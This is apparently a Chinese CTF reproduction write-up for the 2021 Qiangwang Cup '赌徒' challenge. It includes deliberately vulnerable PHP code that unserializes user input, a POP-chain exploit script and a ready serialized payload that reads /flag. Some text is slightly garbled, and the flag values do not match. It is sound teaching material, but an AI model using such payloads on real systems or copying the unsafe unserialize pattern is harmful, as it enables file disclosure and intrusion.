[复现]-2021强网杯 [强网先锋]赌徒

2023-10-11 01:10

本文主要是介绍[复现]-2021强网杯 [强网先锋]赌徒,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

[复现]-2021强网杯 [强网先锋]赌徒

主要过程

首先我是centos7 php 。然后vim /flag根目录创建flag
flag{35-44c7-850e-131e10c9a6ud} 我省略了zip.www扫描源码。

1、 在根目录下建立flag文件(这个文件在正式做题中我们是见不到的,实际上是需要我们通过解题找到这个文件的)

vim /flag输入flag:

flag{70702196032-ec35-44c7-850e-131e10c9a6ud}

保存退出

2、 在网站目录建立test.php, 将以下代码放入其中。(注意这个文件在正式考试中我们是见不到的,我们只能在浏览器中看到html代码而不是php代码。)

<meta charset="utf-8"><?php//hint is in hint.phperror_reporting(1);class Start{public $name='guest';public $flag='syst3m("cat 127.0.0.1/etc/hint");';public function __construct(){echo "I think you need /etc/hint . Before this you need to see the source code";}public function _sayhello(){echo $this->name;return 'ok';}public function __wakeup(){echo "hi";$this->_sayhello();}public function __get($cc){echo "give you flag : ".$this->flag;return ;}}class Info{private $phonenumber=123123;public $promise='I do';public function __construct(){$this->promise='I will not !!!!';return $this->promise;}public function __toString(){return $this->file['filename']->ffiillee['ffiilleennaammee'];}}class Room{public $filename='/flag';public $sth_to_set;public $a='';public function __get($name){$function = $this->a;return $function();}public function Get_hint($file){$hint=base64_encode(file_get_contents($file));echo $hint;return ;}public function __invoke(){$content = $this->Get_hint($this->filename);echo $content;}}if(isset($_GET['hello'])){unserialize($_GET['hello']);}else{$hi = new Start();}?>

搭建好后,我们进行访问
在这里插入图片描述
我们根据源码分析

上面代码表明,若172.16.2.206中不含hello参数,就直接进入new start(),当新建对象时,程序直接跳转到__construct()魔术函数,显示相应的内容在网页上。

本例中我们注意到unserialize($_GET[‘hello’]);这一句,一是PHP反序列化函数,二是变量hello使用GET传参,hello变量值应该是使用serialize序列化对象后的字符串,所以需要弄懂什么是

序列化和反序列化。

在各类语言中,将对象的状态信息转换为可存储或可传输的过程就是序列化,序列化的逆过程便是反序列化,主要是为了方便对象的传输,通过文件、网络等方式将序列化后的字符串进行传输,最终通过反序列化可以获取之前的对象。

很多语言都存在序列化函数,如Python、Java、PHP、.NET等。在CTF中,经常可以看到PHP反序列化的身影,原因在于PHP提供了丰富的魔术方法,加上自动加载类的使用,为构写EXP提供了便利。作为目前最流行的Web知识点,本节将对PHP序列化漏洞逐步介绍,以对PHP反序列漏洞有更深的了解。

常见魔术方法的触发方式如下。❖ 当对象被创建时:__construct。❖ 当对象被销毁时:__destruct。❖ 当对象被当作一个字符串使用时:__toString。❖ 序列化对象前调用(其返回需要是一个数组):__sleep。❖ 反序列化恢复对象前调用:__wakeup。❖ 当调用对象中不存在的方法时自动调用:__call。❖ 从不可访问的属性读取数据:__get。更多解释
[参考](https://www.cnblogs.com/nul1/p/8646034.html)

当执行反序列后,就会去调用Start类中的wakeup中的_sayhello(), 调用到name属性,需要将name属性中关联到最终的Room类中的__invoke()方法继而再调用Get_hint( f i l e ) 方 法 , 解 出 file)方法,解出 file)hint=base64_encode(file_get_contents($file));

echo $hint;

至此再将$hint base64 decode得到最终的flag

6、 写编码将其序列化$st = new Start(); // 新建对象st$ro = new Room(); // 新建对象ro$ro->a = $ro; // 调用room类中的a属性并将对象本身作为a的值  有利于触发__invoke()$in = new Info(); // 新建对象in$in->file['filename'] = $ro; // 当对象被当作一个字符串使用时:__toString,// return $this->file['filename']->ffiillee['ffiilleennaammee'];// 以上语句变为 return $ro->ffiillee['ffiilleennaammee']// $ro->ffiillee['ffiilleennaammee'] 语句在执行时,从不可访问的属性读取数据会自动触发__get魔术函数,触发Room的__get()方法(私有变量或不存在的变量均会触发__get()方法)// $ro->a=$ro; 指向了Room对象自己。在__get()方法执行时,__GET方法: public function __get($name){ $function = $this->a; return $function(); } , 类的对象被在GET中调用,所以会自动触发__invoke()//对象执行函数调用触发__invoke()后,获取flag文件的Base64编码$st->name = $in;  //指回Start中各种函数执行echo serialize($st);

public function __get($name){
$function = $this->a;
return $function();
/对象执行函数调用触发__invoke()后

输出序列化值为:

O:5:“Start”:2:{s:4:“name”;O:4:“Info”:3:{s:17:“Infophonenumber”;i:123123;s:7:“promise”;s:15:“I will not !!!”;s:4:“file”;a:1:{s:8:“filename”;O:4:“Room”:3:{s:8:“filename”;s:5:"/flag";s:10:“sth_to_set”;N;s:1:“a”;r:6;}}}s:4:“flag”;s:33:“syst3m(“cat 127.0.0.1/etc/hint”);”;}

但这里要注意phonenumber为private变量,序列化要加%00, 最终的字串为:

O:5:“Start”:2:{s:4:“name”;O:4:“Info”:3:{s:17:"%00Info%00phonenumber";i:123123;s:7:“promise”;s:15:“I will not !!!”;s:4:“file”;a:1:{s:8:“filename”;O:4:“Room”:3:{s:8:“filename”;s:5:"/flag";s:10:“sth_to_set”;N;s:1:“a”;r:6;}}}s:4:“flag”;s:33:“syst3m(“cat 127.0.0.1/etc/hint”);”;}

方式2

<?php
include "index.php";
$a = new Start();			// __wakeup()进入,
$a->name = new Info();		// Info的__toString()进入
$a->name->file["filename"] = new Room();	// Room的__get()进入
$a->name->file["filename"]->a= new Room();	// Room的__invoke()进入
echo "<br>";
echo serialize($a);
?>

?hello=O:5:“Start”:2:{s:4:“name”;O:4:“Info”:3:{s:17:"%00Info%00phonenumber";i:123123;s:7:“promise”;s:15:“I will not !!!”;s:4:“file”;a:1:{s:8:“filename”;O:4:“Room”:3:{s:8:“filename”;s:5:"/flag";s:10:“sth_to_set”;N;s:1:“a”;O:4:“Room”:3:{s:8:“filename”;s:5:"/flag";s:10:“sth_to_set”;N;s:1:“a”;s:0:"";}}}}s:4:“flag”;s:33:“syst3m(“cat 127.0.0.1/etc/hint”);”;}

对象执行函数调用触发__invoke()后,获取flag文件的Base64编码 具体看看https://www.cnblogs.com/benbenhan/articles/14579882.html
在这里插入图片描述
base64解码“ZmxhZ3szNS00NGM3LTg1MGUtMTMxZTEwYzlhNnVkfQo=
flag{35-44c7-850e-131e10c9a6ud}

这篇关于[复现]-2021强网杯 [强网先锋]赌徒的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/184426

相关文章

Detectorn2预训练模型复现:数据准备、训练命令、日志分析与输出目录

Detectorn2预训练模型复现:数据准备、训练命令、日志分析与输出目录 在深度学习项目中,目标检测是一项重要的任务。本文将详细介绍如何使用Detectron2进行目标检测模型的复现训练,涵盖训练数据准备、训练命令、训练日志分析、训练指标以及训练输出目录的各个文件及其作用。特别地,我们将演示在训练过程中出现中断后,如何使用 resume 功能继续训练,并将我们复现的模型与Model Zoo中的

GPU 计算 CMPS224 2021 学习笔记 02

并行类型 (1)任务并行 (2)数据并行 CPU & GPU CPU和GPU拥有相互独立的内存空间,需要在两者之间相互传输数据。 (1)分配GPU内存 (2)将CPU上的数据复制到GPU上 (3)在GPU上对数据进行计算操作 (4)将计算结果从GPU复制到CPU上 (5)释放GPU内存 CUDA内存管理API (1)分配内存 cudaErro

UMI复现代码运行逻辑全流程(一)——eval_real.py(尚在更新)

一、文件夹功能解析 全文件夹如下 其中,核心文件作用为: diffusion_policy:扩散策略核心文件夹,包含了众多模型及基础库 example:标定及配置文件 scripts/scripts_real:测试脚本文件,区别在于前者倾向于单体运行,后者为整体运行 scripts_slam_pipeline:orb_slam3运行全部文件 umi:核心交互文件夹,作用在于构建真

文章解读与仿真程序复现思路——电力自动化设备EI\CSCD\北大核心《考虑燃料电池和电解槽虚拟惯量支撑的电力系统优化调度方法》

本专栏栏目提供文章与程序复现思路,具体已有的论文与论文源程序可翻阅本博主免费的专栏栏目《论文与完整程序》 论文与完整源程序_电网论文源程序的博客-CSDN博客https://blog.csdn.net/liang674027206/category_12531414.html 电网论文源程序-CSDN博客电网论文源程序擅长文章解读,论文与完整源程序,等方面的知识,电网论文源程序关注python

2021-8-14 react笔记-2 创建组件 基本用法

1、目录解析 public中的index.html为入口文件 src目录中文件很乱,先整理文件夹。 新建components 放组件 新建assets放资源   ->/images      ->/css 把乱的文件放进去  修改App.js 根组件和index.js入口文件中的引入路径 2、新建组件 在components文件夹中新建[Name].js文件 //组件名首字母大写

2021-08-14 react笔记-1 安装、环境搭建、创建项目

1、环境 1、安装nodejs 2.安装react脚手架工具 //  cnpm install -g create-react-app 全局安装 2、创建项目 create-react-app [项目名称] 3、运行项目 npm strat  //cd到项目文件夹    进入这个页面  代表运行成功  4、打包 npm run build

[SWPUCTF 2021 新生赛]web方向(一到六题) 解题思路,实操解析,解题软件使用,解题方法教程

题目来源 NSSCTF | 在线CTF平台因为热爱,所以长远!NSSCTF平台秉承着开放、自由、共享的精神,欢迎每一个CTFer使用。https://www.nssctf.cn/problem   [SWPUCTF 2021 新生赛]gift_F12 这个题目简单打开后是一个网页  我们一般按F12或者是右键查看源代码。接着我们点击ctrl+f后快速查找,根据题目给的格式我们搜索c

【vulhub】thinkphp5 2-rce 5.0.23-rce 5-rce 漏洞复现

2-rec 1.启动环境  cd /.../vulhub/thinkphp/2-rce # cd进入2-rce靶场文件环境下docker-compose up -d # docker-compose启动靶场docker ps -a # 查看开启的靶场信息 2.访问192.168.146.136:8080网页 3.构造payload http

【漏洞复现】赛蓝企业管理系统 GetJSFile 任意文件读取漏洞

免责声明:         本文内容旨在提供有关特定漏洞或安全漏洞的信息,以帮助用户更好地了解可能存在的风险。公布此类信息的目的在于促进网络安全意识和技术进步,并非出于任何恶意目的。阅读者应该明白,在利用本文提到的漏洞信息或进行相关测试时,可能会违反某些法律法规或服务协议。同时,未经授权地访问系统、网络或应用程序可能导致法律责任或其他严重后果。作者不对读者基于本文内容而产生的任何行为或后果承担

深度学习每周学习总结N9:transformer复现

🍨 本文为🔗365天深度学习训练营 中的学习记录博客🍖 原作者:K同学啊 | 接辅导、项目定制 目录 多头注意力机制前馈传播位置编码编码层解码层Transformer模型构建使用示例 本文为TR3学习打卡,为了保证记录顺序我这里写为N9 总结: 之前有学习过文本预处理的环节,对文本处理的主要方式有以下三种: 1:词袋模型(one-hot编码) 2:TF-I